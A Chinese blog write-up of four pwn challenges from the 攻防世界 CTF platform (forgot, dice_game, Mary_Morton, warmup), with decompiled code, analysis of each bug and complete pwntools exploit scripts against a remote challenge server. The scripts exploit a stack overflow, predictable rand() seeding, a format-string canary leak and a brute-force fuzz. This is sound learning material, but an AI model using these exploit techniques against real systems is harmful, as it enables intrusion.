pwn学习-攻防世界(一)

0x00 forgot

下载文件,检查文件保护机制,只开启了NX保护的32位文件。

拖入ida反编译一下,好多函数。。

先输入一个参数s,然后给出了函数sub_8048654()的地址,然后输入参数v2的值,进入for循环。判断v0的值和v2的长度,v0大于等于v2退出循环。

接下来是switch语句,参数为v14,初始为1,退出switch后,会执行(*(&v3 + --v14))();,调用了v3为基础,v14-1为偏移的地址的函数,如果该地址的函数为sub_80486CC(),那么就会输出flag。

int __cdecl main()
{
  size_t v0; // ebx
  char v2[32]; // [esp+10h] [ebp-74h]
  int (*v3)(); // [esp+30h] [ebp-54h]
  int (*v4)(); // [esp+34h] [ebp-50h]
  int (*v5)(); // [esp+38h] [ebp-4Ch]
  int (*v6)(); // [esp+3Ch] [ebp-48h]
  int (*v7)(); // [esp+40h] [ebp-44h]
  int (*v8)(); // [esp+44h] [ebp-40h]
  int (*v9)(); // [esp+48h] [ebp-3Ch]
  int (*v10)(); // [esp+4Ch] [ebp-38h]
  int (*v11)(); // [esp+50h] [ebp-34h]
  int (*v12)(); // [esp+54h] [ebp-30h]
  char s; // [esp+58h] [ebp-2Ch]
  int v14; // [esp+78h] [ebp-Ch]
  size_t i; // [esp+7Ch] [ebp-8h]

  v14 = 1;
  v3 = sub_8048604;
  v4 = sub_8048618;
  v5 = sub_804862C;
  v6 = sub_8048640;
  v7 = sub_8048654;
  v8 = sub_8048668;
  v9 = sub_804867C;
  v10 = sub_8048690;
  v11 = sub_80486A4;
  v12 = sub_80486B8;
  puts("What is your name?");
  printf("> ");
  fflush(stdout);
  fgets(&s, 32, stdin);
  sub_80485DD((int)&s);
  fflush(stdout);
  printf("I should give you a pointer perhaps. Here: %x\n\n", sub_8048654);
  fflush(stdout);
  puts("Enter the string to be validate");
  printf("> ");
  fflush(stdout);
  __isoc99_scanf("%s", v2);
  for ( i = 0; ; ++i )
  {
    v0 = i;
    if ( v0 >= strlen(v2) )
      break;
    switch ( v14 )
    {
      case 1:
        if ( sub_8048702(v2[i]) )
          v14 = 2;
        break;
      case 2:
        if ( v2[i] == 64 )
          v14 = 3;
        break;
      case 3:
        if ( sub_804874C(v2[i]) )
          v14 = 4;
        break;
      case 4:
        if ( v2[i] == 46 )
          v14 = 5;
        break;
      case 5:
        if ( sub_8048784(v2[i]) )
          v14 = 6;
        break;
      case 6:
        if ( sub_8048784(v2[i]) )
          v14 = 7;
        break;
      case 7:
        if ( sub_8048784(v2[i]) )
          v14 = 8;
        break;
      case 8:
        if ( sub_8048784(v2[i]) )
          v14 = 9;
        break;
      case 9:
        v14 = 10;
        break;
      default:
        continue;
    }
  }
  (*(&v3 + --v14))();
  return fflush(stdout);
}

int sub_80486CC()
{
  char s; // [esp+1Eh] [ebp-3Ah]

  snprintf(&s, 0x32u, "cat %s", "./flag");
  return system(&s);
}

我们发现v2的输入没有限制,可以造成溢出,而溢出恰好可以覆盖v3的值,如果v3的值覆盖为sub_80486CC()函数的地址,而v14为1的话,就刚好执行sub_80486CC()函数。

注意payload的第一个字符要不满足函数sub_8048702(char a1),否则v14就会变为2,就不能正确执行函数sub_80486CC()了。

_BOOL4 __cdecl sub_8048702(char a1)
{
  return a1 > 96 && a1 <= 122 || a1 > 47 && a1 <= 57 || a1 == 95 || a1 == 45 || a1 == 43 || a1 == 46;
}

下面是exp:

from pwn import *

#io=process('./forgot')
io=remote('220.249.52.134',55016)

io.sendline('so4ms')
addr = 0x80486CC
payload = 'A' * (0x20) + p32(addr)
io.sendline(payload)

io.interactive()

0X01 dice_game

下载文件得到了一个可执行文件和一个libc库,checksec检查文件的保护机制,除了canary之外都开启了。

简单运行一下,很明显是一个猜数字游戏,进行50次猜数字。

反编译一下,代码很多,但逻辑并不复杂,进行50次猜数字后,就会执行sub_B28()函数输出flag。

__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
  char buf[55]; // [rsp+0h] [rbp-50h]
  char v5; // [rsp+37h] [rbp-19h]
  ssize_t v6; // [rsp+38h] [rbp-18h]
  unsigned int seed[2]; // [rsp+40h] [rbp-10h]
  unsigned int v8; // [rsp+4Ch] [rbp-4h]

  memset(buf, 0, 0x30uLL);
  *(_QWORD *)seed = time(0LL);
  printf("Welcome, let me know your name: ", a2);
  fflush(stdout);
  v6 = read(0, buf, 0x50uLL);
  if ( v6 <= 49 )
    buf[v6 - 1] = 0;
  printf("Hi, %s. Let's play a game.\n", buf);
  fflush(stdout);
  srand(seed[0]);
  v8 = 1;
  v5 = 0;
  while ( 1 )
  {
    printf("Game %d/50\n", v8);
    v5 = sub_A20();
    fflush(stdout);
    if ( v5 != 1 )
      break;
    if ( v8 == 50 )
    {
      sub_B28(buf);
      break;
    }
    ++v8;
  }
  puts("Bye bye!");
  return 0LL;
}

signed __int64 sub_A20()
{
  signed __int64 result; // rax
  __int16 v1; // [rsp+Ch] [rbp-4h]
  __int16 v2; // [rsp+Eh] [rbp-2h]

  printf("Give me the point(1~6): ");
  fflush(stdout);
  _isoc99_scanf("%hd", &v1);
  if ( v1 > 0 && v1 <= 6 )
  {
    v2 = rand() % 6 + 1;
    if ( v1 <= 0 || v1 > 6 || v2 <= 0 || v2 > 6 )
      _assert_fail("(point>=1 && point<=6) && (sPoint>=1 && sPoint<=6)", "dice_game.c", 0x18u, "dice_game");
    if ( v1 == v2 )
    {
      puts("You win.");
      result = 1LL;
    }
    else
    {
      puts("You lost.");
      result = 0LL;
    }
  }
  else
  {
    puts("Invalid value!");
    result = 0LL;
  }
  return result;
}

int __fastcall sub_B28(__int64 a1)
{
  char s; // [rsp+10h] [rbp-70h]
  FILE *stream; // [rsp+78h] [rbp-8h]

  printf("Congrats %s\n", a1);
  stream = fopen("flag", "r");
  fgets(&s, 100, stream);
  puts(&s);
  return fflush(stdout);
}

新手区中也有道类似的题,如果srand()的参数是我们可控的,那么生成的随机数在一定范围内也是我们可控的。

rand()函数用来产生随机数,但是,rand()的内部实现是用线性同余法实现的,是伪随机数,由于周期较长,因此在一定范围内可以看成是随机的。
rand()会返回一个范围在0到RAND_MAX(32767)之间的伪随机数(整数)。
在调用rand()函数之前,可以使用srand()函数设置随机数种子,如果没有设置随机数种子,rand()函数在调用时,自动设计随机数种子为1。随机种子相同,每次产生的随机数也会相同。

这里除了程序外,还给出了libc库,我们可以利用他来生成我们想要的随机数。

最后是exp:

from pwn import *
from ctypes import *

io = remote('220.249.52.134', 48095)
libc = cdll.LoadLibrary('./libc.so.6')
libc.srand(1)

payload = 'a' * 0x40 + p64(1)

io.sendlineafter('Welcome, let me know your name: ', payload)

for i in range(50):
    num = libc.rand() % 6 + 1
    io.sendlineafter("Give me the point(1~6): ", str(num))

io.interactive()

0x02 Mary_Morton

下载文件检查,开启了Canary和NX保护的64位文件,拖入ida。

这里为了更加直观,对ida反编译后的函数名进行了一点更改,加了点注释。

这里调用的函数中,一共有两个函数存在漏洞。

void __fastcall __noreturn main(__int64 a1, char **a2, char **a3)
{
  int v3; // [rsp+24h] [rbp-Ch]
  unsigned __int64 v4; // [rsp+28h] [rbp-8h]

  v4 = __readfsqword(0x28u);
  init1();                                      // 初始化
  puts("Welcome to the battle ! ");
  puts("[Great Fairy] level pwned ");
  puts("Select your weapon ");
  while ( 1 )
  {
    while ( 1 )
    {
      output1();                                // 输出字符串,无关函数
      __isoc99_scanf("%d", &v3);
      if ( v3 != 2 )
        break;                                  // v3不等于2,退出内层的while
      Format1();                                // v3等于2,进入有格式化字符串漏洞的函数
    }
    if ( v3 == 3 )                              // 不能使v3等于3
    {
      puts("Bye ");
      exit(0);
    }
    if ( v3 == 1 )
      overflow();                               // 存在栈溢出,申请了0x80,可以输入0x100
    else
      puts("Wrong!");
  }
}

int sub_4008DA()
{
  return system("/bin/cat ./flag");
}

sub_4008EB()函数,也就是上面的Format1()函数,存在格式化字符串漏洞。

unsigned __int64 sub_4008EB()
{
  char buf; // [rsp+0h] [rbp-90h]
  unsigned __int64 v2; // [rsp+88h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  memset(&buf, 0, 0x80uLL);
  read(0, &buf, 0x7FuLL);
  printf(&buf, &buf);
  return __readfsqword(0x28u) ^ v2;
}

sub_400960()函数,也就是上面的overflow()函数,为buf申请了0x80的空间,但是却可以输入0x100长度的字符串,存在栈溢出。

unsigned __int64 sub_400960()
{
  char buf; // [rsp+0h] [rbp-90h]
  unsigned __int64 v2; // [rsp+88h] [rbp-8h]

  v2 = __readfsqword(0x28u);
  memset(&buf, 0, 0x80uLL);
  read(0, &buf, 0x100uLL);
  printf("-> %s\n", &buf);
  return __readfsqword(0x28u) ^ v2;
}

Format1()overflow()两个函数返回时,会对栈上的Canary进行检查,看一下汇编。

只有 rax 和fs:28h 两个值相等的时候 才能跳转到返回值,反之则调用stack_chk_fail。

栈上的结构应该是这样的。

于是我们可以通过字符串格式化漏洞来将栈上的canary泄露出来,然后在栈溢出时将canary填充到对应的位置,然后就可以跟上shell函数的地址。

这里我们先输入2进入格式化字符串漏洞的函数,输入aaaa.%x.%x.%x.%x.%x.%x.%x.%x.%x发现偏移量为6。

然后找到栈上buf与v2偏移量相差多少。

(0x90 - 0x8) / 0x8 + 0x6 = 0x17 = 23

所以canary的偏移量就为23,可以通过格式化字符串漏洞来获取。

exp:

from pwn import *

#io = process('./mary')
io = remote('220.249.52.134', 38488)

system = 0x4008DA

io.recvuntil('3. Exit the battle')
io.sendline('2')

io.sendline("%23$p")

io.recvuntil("0x")

canary = int(io.recv(16),16)

payload = 'a' * 0x88 + p64(canary) + 'a' * 8 + p64(system)

io.recvuntil('3. Exit the battle')
io.sendline('1')

io.sendline(payload)
io.interactive()

0x03 warmup

这题居然没有附件??我大意了啊,出题人不讲武德。

nc连接上去,输出了一串十六进制数,应该是一个地址,然后有一个输入点,随便输入一个1然后结束了,我???

没办法,百度了一下,说是要求我们fuzz

(fuzzing)模糊测试的意思
模糊测试(Fuzzing),是一种通过向目标系统提供非预期的输入并监视异常结果来发现软件漏洞的方法。

毫无头绪。看看别人的exp,思路就是逐个增加字符,然后带上或者是不带上他给出的地址,然后带上地址还要分为p32()p64()

exp:

from pwn import *

addr = 0x40060d

def fuzz(io, num, flag):
    payload = 'a' * num
    if flag==1:
        payload += p32(addr)
    if flag==2:
        payload += p64(addr)
    io.recvuntil(">")
    io.sendline(payload)

def main():
    for i in range(1000):
        print(i)
        for j in range(3):
            try:
                io = remote("220.249.52.134", 50152)
                fuzz(io, i, j)
                text = io.recv()
                print('text.len='+str(len(text))+'text='+text)
                print('num='+str(i)+' flag='+str(j))
                r.interactive()
            except:
                io.close()

if __name__ == '__main__':
        main()

最后是num等于72,flag为2时有了flag,秀的我头皮发麻。

然后在网上还看见了这题有附件的版本,,,,麻了


版权声明:本文为qq_45653588原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接和本声明。